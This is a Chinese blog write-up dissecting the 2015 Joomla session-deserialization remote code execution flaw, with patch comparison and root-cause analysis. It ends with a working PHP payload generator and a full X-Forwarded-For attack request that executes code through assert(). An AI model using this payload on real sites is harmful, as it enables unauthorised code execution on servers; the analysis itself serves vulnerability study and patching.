这篇文章晚来了十天多,也没办法,两个星期疯狂期末考,如果去研究这个漏洞的话非得挂科不可,所以一直拖到现在才写文章
漏洞日期
这个漏洞最早是在2015/12/12日爆出的,来源是apache的一个访问日志
详情可以看推酷的文章:
2015 Dec 12 16:49:07 clienyhidden.access.log Src IP: 74.3.170.33 / CAN / Alberta 74.3.170.33 – – [12/Dec/2015:16:49:40 -0500] “GET /contact/ HTTP/1.1″ 403 5322 “http://google.com/” “}__test|O:21:\x22JDatabaseDriverMysqli\x22:3: .. {s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0: .. {}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:.. {s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:60:..
看到这串日志,通过HTTP个GET请求构造了一个EXP,同时全球各地的Joomla都遭到了攻击
厂商的防御措施
漏洞爆出一天,Joomla官方就紧急修复升级了CMS,我们看看是怎么修的
通过文件的对比,也就是
/libraries/joomla/session/session.php
这个文件发生了变化,而且修补方式也非常的简单粗暴
右边的是Joomla3.4.6的版本,相比来说,官方直接取消了HTTP_USER_AGENT的session序列化入库,而对于HTTP_X_FORWARDED_FOR也只是做了一个函数检测过滤,也就是filter_var() 函数
filter_var(variable, filter, options) 参数 描述 variable 必需。规定要过滤的变量。 filter 可选。规定要使用的过滤器的 ID。 options 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。
而FILTER_VALIDATE_IP是把值作为 IP 地址来验证。也就是说这儿只能是个IP,但这儿就有了一个问题,万一哪儿再出现了序列化入库的地方,这个远程代码执行漏洞将再次产生
漏洞成因
依然看session.php,看修补的部分我们追踪一下
刚才所有修补的部分都在一个自定义的函数中也就是_validate,我们一个个看
对于xff来说,入库的代码是这样的
// Record proxy forwarded for in the session in case we need it later if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']); }
很简单的代码,$_SERVER函数获取到xff,然后通过调用set()函数把SERVER值设置到session中
再看看UA
if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT'])) { $browser = $this->get('session.client.browser'); if ($browser === null) { $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']); } elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser) { // @todo remove code: $this->_state = 'error'; // @todo remove code: return false; } }
灰色的不看,这儿直接检测了UA是否为空,然后调用get函数赋值给browser,如果没有出错的话,就再把UA设置到session,就此,就达到了入库
漏洞跟踪
这儿即使我们能自己构造UA和XFF,然并卵,因为并没有看到什么能执行的东西,那我们继续跟进去
跟进这个session的处理方式,追踪到了/libraries/joomla/session/storage.php这个文件中
session的读取和写入方式被重新实现,也就是session_set_save_handler这个函数
而这儿涉及到一个东西,就session的问题,当你第一访问时,会产生一个session入库,当你第二次访问时,session会被从库中提出进行反序列化,而mysql对于session的存储机制正是漏洞原因之一
Joomla的session的结构为『键名 + 竖线 + 经过 serialize() 函数反序列处理的值』
那么对于一个已经被序列化的值来说,我们可以在其中添加一个|,将|之前的东西全部都置为键名,而后面就可以随意构造序列化的代码
这时候还有个问题,就是插入了一个|,前面还会有一个|,怎么绕过呢
想一下流程,外部访问,SERVER获取变量设置session,接着write过程中PHP自动进行序列化,存储进存储容器中(mysql),接着执行read读取,根据键名去判断长度,符合的话就继续
这儿我们就做了一个有趣的小实验
有趣的实验
写一个序列化代码,看看
这儿的输出结果是
s:6:"123456";
意思是一个字符串,长度为6,值为123456
继续写一个看看
输出的是heheO:3:”cat”:0:{}wawa,去掉前后也就是
O:3:"cat":0:{}
意思是一个对象,3个长度,值为cat,内容0长度,没有赋值
再看看最后一个实验,虽然Joomla重写write的,但只是做了一个替换,并没有什么实质的变化,序列化方式还是php_serialize本身的方式,而读取的时候却采用的PHP的读取机制,它自身强行把序列化的内容之前赋了一个_default的键值,添加了一个管道符,那对于管道符成了一个关键
输出的结果是
s:21:"123456|O:3:"cat":0:{}";
管道符直接出现了,不仅如此,第一个实验中的序列化结果也出现了,且管道符+序列化内容和我们真正想序列化的内容一起被设置成了值
而Joomla的漏洞正是因为一个问题,一是对于内容读取错误的操作,而是一个mysql对于一个编码的解析
两个点
先说一下mysql对于一个编码的解析
The character set named utf8 uses a maximum of three bytes per character and contains only BMP characters
以上是官网原话,也就是说,mysql在使用utf8的时候,一个字符的大小的上限为3字节,而当出现四个字节的字符时,是需要用使用utf8mb4编码,不使用的话,会将不识别的四字节的字符连同后面的字符串一同舍弃。也就是%F0%9D%8C%86四个字节,存入库中的话,这四个字节和字节之后的所有东西都会被舍弃,也就是所谓的截断
而另一个点就是session的反序列化过程是按照长度来进行读取操作的,当长度不符合时,也就会反序列化出错,而php<5.6.13时,反序列化数据出错将会将指针从第一个管道符移动到第二个管道符,而之前的变量将被注销掉这真是一个神奇的机制
我不自觉的画了个流程图
这就是存的过程,接着看看取出的过程
POC构造
这儿我们基本就讲完了详细的流程,就是我们能控制Joomla只反序列化我们想要去反序列化的东西,但这只能算是个反序列化的问题,怎么才能做到代码执行呢?这儿就是内部代码的问题了
在整个Session的读取过程中,JDatabaseDriverMysqli类是一个很重要的类,session反序列化后都会成为这个类的类对象,而这些对象,最后都将被__destruct(析构函数)所调用,我们跟进看看
class JDatabaseDriverMysql extends JDatabaseDriverMysqli { ......................
一个继承类,接着
public function __construct($options) { // PHP's `mysql` extension is not present in PHP 7, block instantiation in this environment if (PHP_MAJOR_VERSION >= 7) { throw new RuntimeException( 'This driver is unsupported in PHP 7, please use the MySQLi or PDO MySQL driver instead.' ); } // Get some basic values from the options. $options['host'] = (isset($options['host'])) ? $options['host'] : 'localhost'; $options['user'] = (isset($options['user'])) ? $options['user'] : 'root'; $options['password'] = (isset($options['password'])) ? $options['password'] : ''; $options['database'] = (isset($options['database'])) ? $options['database'] : ''; $options['select'] = (isset($options['select'])) ? (bool) $options['select'] : true; // Finalize initialisation. parent::__construct($options); }
构造函数,创造出各种属性作为容器
再下面就是析构函数
public function __destruct() { $this->disconnect(); }
__destruct调用disconnect,我们跟进disconnect,发现其中有一个敏感的回调函数,经常作为回调后门出现
call_user_func_array
我们看看完整的代码
public function disconnect() { // Close the connection. if (is_resource($this->connection)) { foreach ($this->disconnectHandlers as $h) { call_user_func_array($h, array( &$this)); } mysql_close($this->connection); } $this->connection = null; }
明显,将资源属性都进行了引用,然后回调赋值,而array($this)我们却并不能控制
怎么办呢?这儿就卡住了,详细看看各个大牛的文章以及代码发现一个有趣的地方
有趣的地方
Joomla中有一个类叫做JSimplepieFactory,而这个类又经过了__autoload加载成了一个万用类,可以不需要Include直接进行加载,而这个类又有一个神奇的地方,就是如下代码
这儿的jimport()自动将simplepie调用到工作环境中,而最奇葩的来了,跟进到Simplepie中,里面出现了一串有趣的代码
function init() { // Check absolute bare minimum requirements. if ((function_exists('version_compare') && version_compare(PHP_VERSION, '4.3.0', '<')) || !extension_loaded('xml') || !extension_loaded('pcre')) { return false; } ... if ($this->feed_url !== null || $this->raw_data !== null) { $this->data = array(); $this->multifeed_objects = array(); $cache = false; if ($this->feed_url !== null) { $parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url); // Decide whether to enable caching if ($this->cache && $parsed_feed_url['scheme'] !== '') { $cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc'); }
这儿有个地方很有意思
call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc')
第二个 call_user_func()中的参数全都来自于工作环境,而工作环境中的值,却是可以通过最前面的那些乱七八糟的东西自由控制的,这个意思就是说,当我们把$this->cache_name_function赋值成assert,把$this->feed_url赋值成需要执行的代码,那么,就产生了所谓的代码执行
我们倒着想就是两个值赋值,这个赋值来源于工作环境,而工作环境中的值来源于session反序列化时的赋值(不行,头有点晕)
大致理解掉之后就有了一个比较清晰的利用思路
那我们就可以去生成一个POC了
代码如下:
<?php class JSimplepieFactory { } class JDatabaseDriverMysql { } class SimplePie { var $sanitize; var $feed_url; var $cache_name_function; var $cache; var $cache_class; function __construct() { $this->cache_name_function = "assert"; $this->sanitize = new JDatabaseDriverMysql(); $this->cache = true; $this->cache_class = new JDatabaseDriverMysql(); $this->feed_url = "phpinfo();JFactory::getConfig();exit;"; } } class JDatabaseDriverMysqli { protected $lang; protected $disconnectHandlers; protected $connection; function __construct() { $this->lang = new JSimplepieFactory(); $x = new SimplePie(); $this->connection = true; $this->disconnectHandlers = [ [$x, "init"], ]; } } $a = new JDatabaseDriverMysqli(); $s = serialize($a); $s = str_replace( chr(0) . '*' . chr(0),'\0\0\0', $s); echo $s; ?>
生成一个序列化
最终在 Burpsuite这么发包
GET /j4/ HTTP/1.1 Host: 192.168.177.130 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: 537b1c7ef116e9822fa3f86eaa0b40f9=jkoupdkeuc8n95utlojg2qs707 X-Forwarded-For: }_test|O:21:"JDatabaseDriverMysqli":3:{s:7:"\0\0\0lang";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ð Connection: keep-alive Cache-Control: max-age=0
然后重新刷新一下页面便可以
修复意见
实际漏洞运用条件比较高,修复的话反而很简单最快的就是把PHP升级,因为php>=5.6.13以后如果第一个变量错误,直接销毁整个session
还有就是把Joomla升级到3.4.6吧,对XFF等头做了检测过滤,再有的话就请把自身代码对于读写的方式改改,别,太,奇,葩!